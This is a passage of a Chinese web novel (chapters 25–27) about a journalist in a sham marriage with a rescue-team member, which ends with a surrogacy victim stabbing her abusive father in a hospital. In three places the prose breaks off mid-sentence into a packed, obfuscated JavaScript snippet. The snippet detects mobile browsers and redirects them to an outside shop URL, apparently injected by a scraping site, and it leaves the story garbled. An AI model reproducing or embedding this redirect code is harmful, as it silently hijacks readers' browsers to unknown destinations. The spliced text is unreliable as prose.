她顺着他的目光看去,见那里被露台栏杆印上了一道脏污的灰,便笑了一声:“我都没发现。” 说着就想把手臂抽回来擦掉,却没能抽动。 冰凉柔软的触感覆上那块沾着污渍的皮肤,他拇指骨节摁住湿巾,在那里来回滑动着反复擦拭。 雪白湿巾软绵地垂在乌夜里,盖不住那道长长的湿痕,夜风一来,凉得人一哆嗦。 黎叙闻思绪忽然不受控制地飘散而去。 她想起小时候发烧去医院吊水,小脸烧得通红,身上每一寸皮肤都被燎得很薄,碰一下她就想躲。 那时候也是这样,护士阿姨拿酒精棉球在她小臂上细致地擦拭,消毒完毕后她火热皮肤上的酒精迫不及待地挥发,呼啦啦带走所有热度,冰冰凉凉的。 护士扭头去取针管的半分钟里,她看着自己手臂上迅速变小的潮湿岛屿,既害怕,又透着她自己都不能理解的隐隐的期待。 就像现在一样。 落地窗内灯光摇晃,人声嘈杂,幢幢人影投在露台陈旧的木质地面上,模糊不清地流过,而他们站在隐秘的暗夜里,呼吸可闻地偏安一隅。 黎叙闻视线无处安放,只能扭头抛向室内,却正巧对上小熊嗑得嘴角飞天的揶揄目光。 被她抓了个正着,小熊对她抱歉地挥挥手,笑哈哈地走了。 她看着小熊圆润地迅速滚走的身影,心里复杂的期待蓦地散了。 ……原来又是一出戏,是他看到了她身后的观众,一时兴起,拉着她附赠的幕间戏。 她从齐寻手里抽走湿巾,收回胳膊:“我自己来。” 齐寻沉默地看着她三两下抹净了污痕,对她抬起手肘,将自己的小臂送到她眼前。 黎叙闻皱着眉定睛一看,他麦色的肌肤上,同样的位置,跟她蹭上了一条一模一样的痕迹。 她抬眼看他,正对上对方平静又理所应当的眼神。 来而不往非礼也,她只能就着他抬起手臂的动作,对着那块脏污狠狠一抹。 把刚刚她胡思乱想的痕迹也一并抹得荡然无存。 齐寻收回手臂,默默搓了搓那块皮肤。 ……劲儿还挺大。 他视线从她头顶落下。 她整个人都在月色中泛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16833548|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着泠泠的光,跟之前在副驾若无其事地藏起他“一千八的咪头”的姑娘,根本判若两人。 心脏莫名泛起一种急刹车后紧随而来的颤动。 “你们救援队气氛不错。”黎叙闻率先开口,打破蠢蠢欲动的沉默:“我现在有点庆幸我当时没退缩。” 齐寻回忆起她在训练基地,浑身绑满了安全绳,身后就是悬崖,依然丝毫不怵地跟自己对峙,眼角不经意爬上笑意:“听说你剩下的训练完成得都很好。” “那当然,我说了要做的事情,从来没有敷衍的道理。” 笑过之后,齐寻靠在栏杆上,状似无意地开口:“今年防汛马上开始了,你这个时候入队,算不上好时机。” 黎叙闻就知道这人还有后话,看了他一眼,故意没做声。 “培训成绩优秀,不代表实战就没问题。现场情况复杂,需要经验,你……” 黎叙闻眉眼带笑,声音却冷:“现场医疗组是你调配吗?” “……不是。” “汛期救援医疗组人够用吗?” “不够。” “所以为什么?” 齐寻垂视着她,没有回答。 背后的客厅里爆发出一阵欢呼和爆笑,推搡声和碰杯声填满了每一点间隙。 而他们之间静默的空气却无限膨胀开来,将那热闹推挤得遥远而模糊。 他们寂静地立在栏杆后,肌肤相碰,呼吸可闻,影子却像飘在月色中的两座孤岛。 黎叙闻凝神定定看了他几秒,笑着抬头去看深远丝绒上缀着的星星。 “又瞒我?” “瞒你什么了?” “为什么住毛坯房?为什么不让我去救援?为什么要答应跟我结婚?” 黎叙闻转过脸,探究的视线落在他眼底:“在你眼里,我又是谁呢?” 这凛冽的质问每砸碎一个,她就离他遥远一分。 齐寻勉力维持的保护色,几乎在这些问题的碎片中失效了。 他掌心在不妙地发热。 真相就徘徊在他唇齿间,他想就这样不顾后果地全部摊开来给她看,然后捏起她的下巴,将他晦暗卑鄙的心思全都喂给她。 一片一片地,亲口喂进她的唇间。 ——跟他分手,我找了你十年,不是为了看你跟别的男人卿卿我我。 ——你哪里都不要去,不要去看那些污水横流的脏处,更不要去冒一分一毫的风险。 ——我绝对、绝对不能再…… 但就在他要脱口而出的瞬间,她在医院捏着处方的模样,又忽然出现在他眼前。 一同出现的,还有那天在车祸救援现场,她眼底缠结着暗红的蛛网,失了魂似地,一步一步向着倒塌的废墟走去。 心跳不正常地缺失一拍,他猛地闭上眼睛。 那些过往,不但让他不敢触碰,也给闻闻留下了无法愈合的伤口。 她好不容易走出来,他不能因为自己一己私欲,再亲手把她的伤口撕开。 齐寻站直身体,一只手的指节泛白,指尖几乎摁进手掌。 喧嚣的人声和虫鸣都远去了,所以他的犹疑响得恍若有声。 玻璃推拉门滑道发出涩哑的呻.吟。 他背对着她,闷声道:“挺晚了,早点睡吧。” 26. 第 26 章 但睡是不可能睡的。 这小院设计得怪合理,客房基本都在二层,一楼是起居室连着餐厅和游戏房,只有一间主卧设在角落,隔音好,私密性也强。 黎叙闻望着所有人心照不宣留给他们的主卧,陷入了沉思。 不能睡,至少不能跟他进同一个房间睡。 更不能在众目睽睽之下分居。 她肉眼可见地陷入沉思,齐寻反而没什么反应,给她开了主卧的灯:“要是觉得吵,就给我发微信。” 黎叙闻脸上还残留着争执过后的紧绷:“你呢?” “不睡了。” 她眉尖一动:“意思你把新婚妻子一个人留在卧室,自己在客厅打游戏?” 齐寻:“……那怎么办?” 黎叙闻想了想,拉他进了主卧:“先将就一下,等大家都睡了,我找机会去别处。” 理想很丰满,但现实会教她什么叫人算不如天算。 两个人对着玩了半宿的手机,夜渐渐深了,外面的人声逐渐散去,黎叙闻收起快没电的手机:“困了,睡去了哈。” 门一开一关,不等齐寻反应,她已经走了。 黎叙闻刚一出门,手还没从把手上拿下来,就被去厨房拿水回来的一个队员撞了个正着。 那一瞬间,黎叙闻的世界都安静了。 那队员代号大山,看她穿戴整齐地从里面出来,直眉楞眼地打招呼:“还没睡啊?” 她手上甚至还拿着洗漱用的化妆包:“……啊。” 黎叙闻有一种暗访时被当场戳穿的无所适从。 “你怎么还不睡?”她把化妆包往身后一藏,先发制人:“很晚了啊。” 大山抓了一把头发:“楼上客房满了,我睡这就行。” 他冲着旁边角落里的沙发努了努嘴:“就当给你俩站岗了。” 一句话信息量大到爆炸,每个字都是黎叙闻未曾设想的角度。 她手指搭在门把手上,一时竟没来得及作反应。 大山问她:“你这是要?” “哦,没事,”短短几秒,黎叙闻已经有了对策:“刚他占着洗手间不出来,我想去别处洗漱来着,现在应该出来了。” 她说着,手用力向下一拧,推开门:“你睡吧,我……” 她回过头,下一秒就跟换衣服换了一半、正拿新T恤往上身套的齐寻一起石化了。 墙上时钟的滴答声戛然而止。 她眼睛一眨不眨,眼神却控制不住地被那一截裸露的腰腹吸引。 线条分明的肌肉在顶灯的柔光下,连阴影都很标准,跟磁铁一样,抓住她的视线死死不放。 她甚至不由自主地咽了咽。 前有狼后有虎的黎叙闻,在这个时候竟然想,它怎么不随着呼吸起伏?这跟小某书上的男菩萨也不一样啊? 没有起伏才是正常的,因为齐寻根本连呼吸都忘了。 她身后的大山见她半天不动,迷惑地问:“咋了?” 开门带起的那阵风,像是这时才吹到齐寻身上似的。 他迅速套好衣服,盖住已经开始发烫的肌肤,状似无意地接上:“我用完了,你洗澡吧。” 黎叙闻脸颊蓦地烧起来,立刻撇开脸,转头对大山迅速笑了笑:“睡了啊,晚安。” 最后一个字的尾音都没落地,砰地一声被夹在了门缝里。 大山怔愣地眨了眨眼,嘿嘿笑了一声。 他们真好,结婚可真好。 关门之后,空气甚至更加安静了。 齐寻双手插兜站在原地,沉默地看着她,像是语言系统打结了。 黎叙闻定在门口,哭笑不得。 今天晚上真是…… “别折腾了,睡一间吧。”她深吸一口气,坐到床上:“要演就演个大的,怎么不算一劳永逸呢。” 齐寻脸上难得浮现出一丝无所适从:“对不起,我没想到这一出。” 黎叙闻笑着摇头:“以前跟着前辈调查的时候,五六个人挤一个房间,男女都有,早习惯了。” 见她毫不扭捏,齐寻紧绷着的后背才慢慢松下来。 他起身在主卧的衣柜里四处搜寻:“我打地铺,你睡床。” “床……还挺大的。”黎叙闻摸了摸耳垂,扭过头去看那张两米宽的双人床:“别弄了,就合衣睡吧。” 月光在淡青色窗帘上绣上晃动的树影裂纹,在眼角余光里影影绰绰。黎叙闻瞪着眼睛看着天花板,双手交叠放在小腹上,跟躺在棺材里似的,想翻身,又顾忌身边躺着另外一个人,怕搅了人家的睡意。 身边响起跟她隔了有一张床那么远的声音:“闻闻?” 她生怕答得快了暴露自己的慌乱,赶紧佯装睡着,迷迷糊糊地嗯了一声。 那边果然不再开口,再次静默下来。 过了没几秒,他又不甘心似地:“闻闻。” 黎叙闻忍俊不禁:“怎么?” 齐寻压低的声音在夜色中漫开:“我没想瞒你,那些事……就像你说的,答案没那么体面。” 黑夜是绝佳的夜行衣,遮住他在她的体温中无声滚动的喉结,也天衣无缝地掩藏起她乍起波澜的眉头。 她自然懂。 她自己不也一样,不想让他知道她在看心理医生,不想让他知道她有精神创伤,更不想让他知道她有一个疯疯癫癫的父亲。 这些事情如果由齐寻问起,那她的回答,不会比他的更高明。 虚伪也好,造作也罢,人总是要以光鲜示人,内里发痒结痂的疥癣,谁愿意亮出来让人观赏。 她懂,但她依然抑制不住地想要追问,就好像问到一个与她毫不相关的答案,她才能甘心转身离去。 这不对,很不对。 明明是她自己画下的界限,她却偏要反复踩踏。 “那就说点体面的,”黎叙闻顾左右而言他:“你来说说,你喜欢什么样的姑娘?” 布料摩擦的声音骤然响起。 她忍不住微微偏头去看,见齐寻双臂交叠枕在脑后,窗帘筛过的月色打亮他一侧的轮廓。 他眼底的清亮的湖深陷在山根眉骨的丘壑中,似乎穿过时空,在深情地看着什么人。 “声音很好听,清朗明晰,又很柔和,穿透性也强,着急的时候会有温柔的鼻音,”他轻轻笑了一声:“又软又可爱。” 黎叙闻安静地听着,心好像也在慢慢地往下沉。 莫名地不太平静。 “……意思你喜欢一个人,只喜欢人家的声音吗?长相呢?性格呢?家境呢?”她又问。 齐寻气息凝滞了一瞬。 “可能……有点胖胖的?”他犹豫着:“是好看的那种胖。” “这还挺具体。”黎叙闻笑。 跟她毫无关系的具体。 她翻了个身,声音被压在毯子和枕头间:“暗访结束了,缓一两个月,咱们就可以离了,别耽误你。” 翻身时拨动的一缕长发,轻轻地抚过齐寻的大臂皮肤,挠起一阵若有似无的痒意。 他手臂颤动了一瞬,扭头看她在夜色中侧躺的曲线。 有人因为假结婚,约会都得见缝插针,现在还反过来说怕耽误他。 到底是怕耽误谁,显而易见。 原本纠结试探的事终于在这一刻水落石出,他舔了舔嘴唇,喉结一滚咽下冷淡的反驳,轻轻嗯了一声。 这句“嗯”让她脊背紧绷。 明知道已经是死路,她仍忍不住往上添砖加瓦:“现在离婚要冷静期的,要等很长时间。” “嗯,”又是一声复制粘贴:“再说。” 再说?说什么? 已经封死的道路,哗啦一声,又被他推开了一道月光稀薄的裂隙。 黎叙闻的心脏原本在下坠,眼看就要啪叽摔在地上,结果让他一句话,又生生吊在了半空。 不踏实,但好在没有落地。 她眉眼弯出一个清淡的弧度,没再说话,在黑暗中轻轻闭上了眼睛。 在她名义上的丈夫身边,黎叙闻竟然一夜无梦。 再醒来已是早上,门外响起窸窸窣窣刻意放低了的脚步声,窗外鸟鸣阵阵。 她睁开眼睛,回了半天神,才想起自己这是在山间民宿,跟救援队聚餐来了。 救援队……聚餐…… 电光火石间,她猛地一扭头,果然看见身边躺着一个熟睡的男人。 他守着床边躺得很板正,好像一晚上都没变过姿势似的。 倒是她,半夜不知是冷还是做了梦,这时候身体紧贴着人家的手臂,紧实的肌肉线条挨着她的胸口。 她甚至虚虚地搭着那只麦色的手腕。 灼热体温炙烤了她一晚上,这时候才慢慢悠悠地爬上她的脸。 她尴尬着轻手轻脚起身换好衣服,又转头看。 齐寻睡得很安稳,眼睫轻颤,不知正梦见什么。 等她洗漱好来到厨房,有几个人已经起来了,正压低声音呼朋引伴,要去山上看看有没有蘑菇可以采。 纪士诚见她起来,一边低头切三明治,一边问:“要不要跟他们去?昨天下了点雨,应该能采不少。” 黎叙闻望了门口一阵子,转身接了他递过来的三明治:“算了,我等齐寻一起吧,他还没起。” 纪士诚扬了眉毛抬起头:“他没起?” “嗯,怎么?” 纪士诚看她心无旁骛地咬三明治:“没,没什么。” 没什么就怪了。 齐寻这人,超乎寻常的警觉,往常出任务,到了驻地一两天睡不着都很平常,楼房睡不了,身边没动静也睡不了,大家都开玩笑,说他以后怕是结不了婚了。 今天倒好,人都穿戴整齐出门了,他竟然还没醒。 纪士诚有点想得寸进尺。 他又看一眼主卧紧闭的房门,加快了语速:“你们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16837324|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 新入队的,过两天就要定铭牌了,你喜欢什么样式的,可以先跟阿咩说。” 黎叙闻好奇道:“铭牌是什么?” 纪士诚捻起脖子上的铭牌:“喏,这个。” 黎叙闻凑上去看,一片压得薄薄的白面金属,光可鉴人,上面刻着纪士诚的姓名、血型、过敏药物和病史,还有紧急联系人信息。 她小心地将它握在指间:“蛮细致的。” 纪士诚停了停,故意道:“紧急联系人,你准备填谁?” 黎叙闻脑中顿时警铃大作,心说真是三步一个坑:“……当然填齐寻。” “哦,”纪士诚得逞般地一笑:“可是他……” “老纪。” 纪士诚:………… 后半句没说出来,差点把他噎死。 他额角一跳,抬头就见齐寻面色不虞地靠在卧室门口。 他沉着眸,语气平静:“聊什么呢。” 黎叙闻看见他,两眼一睁就是演:“老公,睡得好吗?” 齐寻似乎还没睡醒,听到这个称呼眼神先是一空,然后轻轻嗯了声:“睡得很好。” 然后他视线掠过黎叙闻指尖闪着寒光的铭牌,问纪士诚:“你昨天不是说队里还有事,今天一早就要走的吗?” 纪士诚一愣:“我?有吗?” “你有。” 齐寻眼睛一垂,过来揽住黎叙闻的肩膀转身就走:“路上注意安全。” 纪士诚:…… 没办法,说他有事,他就得有事。 纪队骂骂咧咧地走了,采蘑菇的各位也凑够了人,高高兴兴出发了。 留下黎叙闻被她的便宜老公圈在厨房角落。 她抱着双臂,笑问:“又是什么不体面的事?” 身后陆续有人起来,打着哈欠互相问早。 齐寻回头看了一眼,用身体将她整个挡住,压低声音:“老纪不知道咱们的关系,不管他说什么,你都别放心上。” 黎叙闻站直身体,扬起下巴凑近,鼻尖几乎蹭到他温热的下唇,也学着他的样子悄声道:“房子不给看就算了,铭牌也不给看?” 齐寻捺着眼睫,定定地看她。 太近了。 近得他能感受到她呼吸间身体的起伏,就这么光明正大地贴着他的胸口,还有她清浅的、带着水香的鼻息。 他睫根像停着一双不属于他的翅膀,不顾他的阻止,拼命想要眨动。 欲盖弥彰的心跳在他圈出的这一小方天地中,一下一下叩问着他。 砰砰,砰砰。 黎叙闻视线一瞥,扫过他侧颈暴起的青筋和低收的下颌,志在必得笑了一声。 “如果我今天非要看呢?” 齐寻不说话,也不动,只是极轻地吸了一口气。 他没有妥协,也没有得寸进尺,但如果她看到他隐在衣领下的链子,那或许就是天意。 这可不怪他。 黎叙闻见他不动,果然劈手从他颈间扯出带着铭牌的链子,占了大便宜似地,对着光细细看。 “姓名齐寻,血型A型,药物过敏无,紧急联系人……” 这一项后面是一块空白。 黎叙闻咦了声:“这项不是很重要么,也可以不填的吗?” 齐寻从她手里抽回链子:“没有就不填。” “没有?”黎叙闻眉头一扬:“家人呢?万一有点什么,总要联系家人吧?” “都去世了。” 这四个字在轻飘飘地在黎叙闻耳边炸开。 她呼吸抽了抽,终于意识到自己干了什么。 清晨的山间传来呕哑的鸟鸣,不知道是不是在嘲笑她的自作聪明。 靠上后墙呆愣了一阵,她终于回过神来。 她抿了抿唇,慢慢掰着指头道:“我妈人在国外,我爸嘛,自顾不暇了。老马……能唠叨死我,我还不如自裁了清净。回国之后我也没什么朋友。” 她抬起头:“这么看起来,我也没得填啊。” 齐寻嘴唇抖了抖,欲言又止的模样。 他知道自己应该说什么。 可他就是说不出口。 黎叙闻一耸肩:“不过我已经跟老纪说了我要填谁。” 齐寻喉结不受控地一滑,声音险些被夹在里头:“……填谁?” 黎叙闻在清亮澄澈的晨光中对他笑,上挑的眼尾染着丝丝亦真亦假的光亮:“你呀。” 她笑得那么真诚,那么熟稔,像一幅画,印在齐寻失神的眼底。 一定是昨夜的梦做得太长,不然他不会现在还陷在这么荒谬的幻觉里。 他哽了哽,决定亲手打破这个幻觉:“你可以填你……” 黎叙闻手机忽然铃声大作,把他未出口的“男朋友”三个字摁在了嗓子里。 她接了电话,转头肃着脸道:“我们得回去了。” “怎么?” “琳琳要生了。” 27. 第 27 章 民宿和医院恰巧在两个方向,进了京屿市区车速又提不起来,待他们踩着限速赶到医院,距离那通电话已经过了四个多小时。 两人急匆匆找到产科,只见李姐在分诊台,上半身几乎塞进窗口里,跟里面的人低声说着什么。 黎叙闻叫她一声,她回过身来,看到他们仿佛看到了两个救世的神仙。 “可算来了!”李姐忙慌地迎上来一拍大腿:“你们是不知道,进产房之前那个闹啊,非让我把你找来……” 黎叙闻打断她:“人呢?生了吗?” 李姐压低声音:“生了,但娃……” 黎叙闻回头跟齐寻对了对视线,又道:“我去看看琳琳。” 李姐又交代了护士两句,带他们到病房门口,正抬脚要进,却被齐寻一伸手臂,拦在了外面。 齐寻对黎叙闻道:“你去吧,我有点事要问李姐。” 他盯着黎叙闻的眼睛,微不可查地对她点了点头。 这是他们在路上商量好的,黎叙闻进病房,最好能逮着琳琳爸一起;齐寻守在外面,保证机构的人进不去,尽量给她留足时间。 黎叙闻对他眨眨眼,便转身进了房门半掩的病房里。 此时正值午后,阳光炽烈,室内一片温热的光芒。 琳琳躺在最里面的病床上,安静地睡着,胸口不明显地起伏,面色透明得像被橡皮擦了很多遍的纸。 黎叙闻低头看了她一阵子,轻轻握住她垂在病床外的手。 那手背上针眼密布,肿得发青,掌心一片骇人的冰凉。 病室里静得呼吸可闻,离她们不远处的床位,忽然嘎吱一声,在沉寂的房间里显得突兀极了。 黎叙闻警觉地回头望去,看见隔着几张床的布帘后,探出一张同样苦楚苍白的脸。 那张脸她认得——当时她跟着李姐去代妈宿舍参观,就是这个女人,骄傲地说自己怀的是双胞胎,虽然辛苦,但是钱多。 黎叙闻悄悄摸过去,压低声音问:“你也今天生的?” 女人点点头,一开口,却先哭了。 “你别来,别来干这个。”她显然是误会黎叙闻也要来当代妈,抹着眼泪,无声地倒气:“他们是骗子!” 黎叙闻凑近了,让摄像头对着她脖子以下,问:“你拿到钱了吗?” 女人默了默,先点头,然后又疯狂地摇头。 “他们答应给你多少钱?” “二十七万。” 黎叙闻心里咯噔一声,又问:“他们还差你多少?” 女人像是痛苦极了,咬住下唇,用手指比了个“二”。 “两万?” 大颗泪滴从女人的眼眶中涌出,她还是摇头。 黎叙闻大骇,不可置信道:“……二十万?” 女人窒息似地长大了嘴巴,无声地流泪:“打他们的药打了一身病,还挨了一刀哇!” “不够哇,”她的话顺着眼泪一起,像气声一样从喉咙里流出来:“孩子要换肾,不够哇……” 黎叙闻望着她过早干瘪的崎岖脸颊,胸口堵着一大团碎石,一句话都劝不出来。 记者的身份提醒她,现在应该深挖采访对象的家庭关系,找出孩子的医药费需要母亲代孕来凑的原因。 她应该犀利且旁观地诘问面前这个虚弱的女人,为什么在众多的道路中,选择了代孕这样一条违法之路。 可是她问不出口。 她只能陪坐在她空无一人的病床前,眼睁睁看着一个走投无路的女人掏空了自己,最后碎在医院的角落。 帘子背后忽而传来窸窣的动静,一个微弱的声音,在轻轻地呻.吟。 黎叙闻起身掀开帘子,发现琳琳已经醒了,正拖着无力的身体,伸手费力地够着床头柜上的水壶。 她快步上前,倒了杯水塞进琳琳手里。 琳琳抬头一见是她,虚弱地笑起来:“姐,你来啦。” 一声姐把黎叙闻叫得鼻尖一酸:“嗯,你怎么样?还顺利吗?” 一句话引得琳琳红了眼眶:“医生说可能活不了,明明产检的时候都挺……” 这句话没说完,她却忽然像卡壳一般停下,张着嘴愣愣地停了半天,继而猛地摇起头来:“不,不不,他不该活,他本来就不该活!” 细痩的手指紧握着病床边沿,病床不堪晃动地发出咯吱的哑叫,像在替谁痛哭似地,磋磨得听者的心也一同碎了。 黎叙闻艰难地吸了口气,扳住她的肩膀让她停下动作,免得伤了身体。 那肩膀在她手心里,薄薄的一片,稍一用力就会捏碎一样。 黎叙闻掌心撑着她,轻声道:“你可以走的,琳琳,世界很大很大,你可以走的。” 琳琳咧嘴大哭起来,可她连哭都是无声的,只有涕泪俱下:“走哪里去,我怎么活?” “我帮你!”黎叙闻语速极快,好像在试图点燃她:“你去京屿,大城市没人认识你,你年纪轻轻有手有脚,只要努力总能有你一口饭吃!你跑吧,跑啊!” 琳琳眼神混沌地看着她,忽然问:“你帮我吗?你会像帮夏蓉那样,帮我吗?” “会的!”黎叙闻根本顾不上想别的:“你想做什么,我都可以帮你,我帮不了还有我的上级,还有妇联,还有……” 还有齐寻,还有救援队,他们一定、一定都会帮你的。 她搜肠刮肚,绞尽脑汁要给琳琳点起一簇希望:“你喜欢做什么?想夏蓉一样喜欢写字吗?还是喜欢做菜、喜欢漂亮衣服?上次去看你的时候你在看小说,你想写小说吗?都可以,什么都可以。” 她握住琳琳冰凉濡湿的手:“你人生还那么长,走出去,总会有一条路给你,你跑啊!” 她每说一句,琳琳晦暗的眸子里就真的落进一点微光,似小小的星辰,最后越聚越多,终于成了燎原之势。 “那……咱们说好了,”她手指颤抖,抓着黎叙闻的指尖用力到发白:“我有你的电话,到时候,到时候我就去找你……” 这时候,门口突然想起了一阵脚步声。 黎叙闻向外望了一眼,梁经理带着一个五十来岁、满脸怒意的干瘦男人,正往病房的方向来。 “嘘,”她对琳琳轻声道:“有人来了。” 两个男人路过病房门口,正要往里进,干瘦男人忽然脚步一顿,视线在齐寻身上绕了好几圈。 齐寻居高临下瞥他一眼,对梁经理道:“我刚跟李姐聊了细节,想着今天就把日期定下,你看什么时候合适?” 梁经理一听,脸上堆起笑容,自然更顾新生意,琳琳爸听了这话,也不再起疑,抬脚进了病房。 他一步一步靠近病床,黎叙闻不由自主站起来,后背绷得极紧,视线不禁飘向门口。 齐寻靠在门框上,跟梁经理说着什么,眼神却一瞬不瞬锁在她身上,轻轻对她抬了抬下巴。 像一个不言不语的保证。 琳琳爸停在病床前,却像没有看到她似的,面色灰败地对琳琳说:“娃儿不行了。” 琳琳默不作声垂着头,眼泪一滴一滴打在被面上,连抽泣声都没有。 室内静得针落可闻,门口梁经理的侃侃而谈都被这种静默稀释得又薄又远,黎叙闻屏着呼吸,偷偷将背后桌上的水杯握在手里。 “老天要绝我老秦家的后哇……”琳琳爸仰面长叹,浑浊眼泪折叠进脸上深深的沟壑里:“不争气的东西……” 梁经理似乎都有点听不下去了:“早让你给点钱让她补身体,你不听。” 又转而对齐寻堆笑:“没事,给你们挑块更好的地,管保结出果子来。” 齐寻脸色阴得要滴水,忍了又忍,才没一拳挥在他脸上。 琳琳爸额角暴跳:“你哥明年就结婚了,你养两个月就再给我弄一个出来,这次再不行,你看我不……”他威赫赫地扬起手,做出一个抽人的动作。 琳琳条件反射般随着他的动作一抽搐,却挺直了腰杆,边流泪边说:“你答应的,你答应我生了孩子就随我走,你答应的!” “走?你走哪去?”琳琳爸高声叫骂,口水乱喷:“过继过来那就是你亲弟弟!你亲弟弟你不养?!” 琳琳大哭着挣扎起身,浑身抖得像秋风落叶。 黎叙闻实在看不过眼,一把将她抱进怀里,冷眼怒视琳琳爸:“你犯法了你知道吗?” 琳琳爸像是这时候才看见她,迟缓地问:“你哪个?”问罢又恍然大悟:“哦!你们去过我家,见过我婆娘!” 黎叙闻冷着脸:“我是妇联的,你再这样,我报警了!” 琳琳爸未及反应,门口梁经理先急了:“你说你是谁?!”他嚯地转过头,眼珠都要掉出来,怒视着齐寻:“你们——” 齐寻冷笑,后背靠在病房门边,一条腿直接蹬在对面,将房门封了个严实:“对,怎么?” 琳琳爸冲黎叙闻伸出手,大叫着要来掐她的脖子,黎叙闻一矮身躲过他,还要去拉病床上的琳琳:“我们先走……” 琳琳匍匐在床上,竟充耳不闻。 她双目血红,看也不看身边的人,反而直勾勾地盯着她的父亲。 琳琳爸扑上来,抬脚要踹黎叙闻的小腹,狠道:“你要我全家死?!” 门口的齐寻见势不对,抬脚就要往里冲,却被梁经理和赶来的保安缠住。 黎叙闻侧身后撤一步,卸了这一脚的力,将手里捏着的玻璃杯用力往他头上拍去! 鲜血混着碎玻璃应声而下,琳琳爸顶着满头鲜血,面目如修罗一样狰狞。 可双手竟依然牢牢钳着她的肩膀:“你试试看,试试看!去哪我都会把她抓回来,我——” 黎叙闻冷笑一声,双手拧住这老家伙的侧腰,正要将他搡倒,未及用力,却陡然瞪大了眼睛! 齐寻甩开身边层出不穷的恼人障碍,转身冲进病房,正巧听见琳琳爸这一声威胁滞在空中,戛然而止。 时间似乎也静止了。 周遭静得连一声呼吸都听不见。 所有人都瞠目结舌,眼睁睁地看着琳琳爸捂着肚子,直挺挺地倒了下去。 一道刺眼的鲜红飙了出来,直直溅进了黎叙闻的眼睛。 她却毫无所觉,而是透过一片血红,怔怔地看向战栗地趴跪在地上,手里握着一片染血玻璃的琳琳。 刚刚那一瞬间,有人大力把她从钳制中推开,动作迅速得令她反应不及。 她以为是齐寻,却没想到,是孱弱到连起身都不能的琳琳。 在理智识别出这一地血污之前,黎叙闻的身体先开始不妙地颤抖起来。 很多血,他会死的。 他……他是谁,他是…… 下一秒,她整个人猛地被人揽入怀中,环着她的手臂箍得极紧,将她的脸深深埋在胸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16840847|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口。 “闻闻!”齐寻将她的头死死按在自己身前,挡住她的眼:“别看!不要看!” 思绪在一阵兵荒马乱下艰难回笼,大概空白了半分钟,黎叙闻才真正意识到,刚刚那一声到底发生了什么。 她满脸是都是血红的泪,透过齐寻的指缝,眼睁睁看着琳琳被保安拖走。 后知后觉,她忽然明白,琳琳要保护的不仅仅是她,还有她刚刚在茫茫的昏暗的前路上,为她亮起的那小小的一簇风中烛火。 可是,可是。 她凝滞在齐寻的怀里,无声地、颤栗着闭上了眼睛。 病房里被褥零落,满地都是狰狞的血迹,代孕机构的人在一旁虎视眈眈,门外的脚步声渐密渐近,尖叫、争吵、推搡和互相推诿,织成一片煌煌作响,而他们就在这满目干戈中,寂静地拥抱。 “我要给她找律师,”黎叙闻声音哑得几乎听不清:“找最好的律师。” 齐寻环着她簌簌发抖的身体,把她整个人都圈在自己身前,一脚踹开扑上来的梁经理,一只手稳稳按着她的后枕:“……我知道,我都知道,交给我。” 等一切处理完毕,所有在场人员去警察局做完笔录,已是深夜。 当时琳琳爸被拖走抢救,黎叙闻和齐寻两人被赶来的保安团团围住,跟代孕机构的涉事人员对峙近二十分钟,但远远响起的警笛,最终还是昭示了一切的尘埃落定。 梁经理等人面对铁拳,自然一口咬定是黎叙闻言语煽动在先,自己只是恰好在场。 而一段从琳琳父亲进了病房高声叫骂,到最后他被刺倒地的视频,几乎严丝合缝地证明了她的清白。 黎叙闻看了那段视频,像素极差,掌镜者的手不停地颤抖,凌乱紧张的呼吸毫不避讳地被一同录了进去。 那个拍摄角度她认得,是之前跟她聊过天、家里有孩子需要换肾的代妈。 警察收走看视频的平板:“是报警人提供的,你们看看有没有问题?” 黎叙闻整个人恍惚着,想,当时那个女人没有出一声,她几乎忘了病房里还有另外一个人存在。 谁想到在所有人都没有注意到的角落,还有一个人,选择默默挺身,用沉默和镜头发出一丝微弱的声音。 但这一切对现在的黎叙闻来说,都不是当务之急——她心里始终蠢蠢欲动、靠意志和心理医生勉强压制的那颗定时炸弹,好像被那一道开在她眼前的鲜血惊醒了。 从医院出来后,她一直在恍惚着走神,有时候不知道自己在哪里,有时候感觉时间跳帧,更多的时候是清醒但麻木地有问必答。 拜职业习惯所赐,即使这样的精神状态,她也能把事情条分缕析地对警察讲明白,包括她是商报的记者,也包括她之前调查到的一切。 还未落在纸面上的真相,就这样猝不及防地撕开在公众面前。 而她跟这个时空唯一的联结,是一直覆在她手背上的那只手,不断地把她从碎裂世界的裂隙中拉回现实。 出了警局,潮润夜风迎面扑来,黎叙闻短暂地清醒了。 